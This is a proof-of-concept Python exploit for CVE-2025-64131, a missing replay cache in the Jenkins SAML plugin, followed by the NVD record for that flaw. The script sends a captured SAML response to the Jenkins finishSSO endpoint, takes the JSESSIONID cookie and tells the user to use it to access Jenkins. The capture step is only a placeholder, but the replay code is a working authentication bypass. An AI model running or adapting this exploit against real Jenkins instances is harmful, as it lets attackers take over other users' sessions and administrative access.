CVE-2025-64131

# CVE-2025-64131 PoC - SAML Response Replay Attack Concept # Note: This is a conceptual PoC for educational purposes only import base64 import time import requests # Configuration JENKINS_URL = "http://target-jenkins:8080" SAML_ENDPOINT = "/securityRealm/startSSO" def capture_saml_response(): """ Step 1: Capture SAML Response through MITM or network sniffing In real attack scenario, attacker would intercept network traffic between user's browser and Jenkins SAML IdP. """ # Simulated captured SAML Response (deflated and base64 encoded) captured_response = "SAML_RESPONSE_BASE64_STRING" return captured_response def replay_saml_response(saml_response): """ Step 2: Replay the captured SAML Response to Jenkins ACS endpoint The plugin does not validate assertion replay, allowing reuse """ acs_url = f"{JENKINS_URL}/securityRealm/finishSSO" # Craft the replay request headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Compatible Jenkins SAML Replay)' } data = { 'SAMLResponse': saml_response, 'RelayState': '/' } try: response = requests.post(acs_url, data=data, headers=headers, allow_redirects=False) if response.status_code in [302, 303] and 'JSESSIONID' in response.cookies: print("[+] Replay attack successful! Session cookie obtained.") print(f"[+] Session ID: {response.cookies['JSESSIONID']}") return response.cookies['JSESSIONID'] else: print("[-] Replay attack failed or requires additional steps.") return None except Exception as e: print(f"[-] Error during replay: {e}") return None def main(): print("CVE-2025-64131 - Jenkins SAML Replay Attack PoC") print("=" * 50) # Step 1: Capture (simulated) saml_response = capture_saml_response() # Step 2: Replay session_cookie = replay_saml_response(saml_response) if session_cookie: print("\n[!] Attack completed. Use the session cookie to access Jenkins.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-64131", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:57.133", "lastModified": "2025-12-22T15:26:58.437", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Jenkins SAML Plugin 4.583.vc68232f7018a_ and earlier does not implement a replay cache, allowing attackers able to obtain information about the SAML authentication flow between a user's web browser and Jenkins to replay those requests, authenticating to Jenkins as that user."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-294"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:saml:*:*:*:*:*:jenkins:*:*", "versionEndExcluding": "4.583.585.v22ccc1139f55", "matchCriteriaId": "488EE8F2-0CCA-421B-88AE-15C039776C05"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3613", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}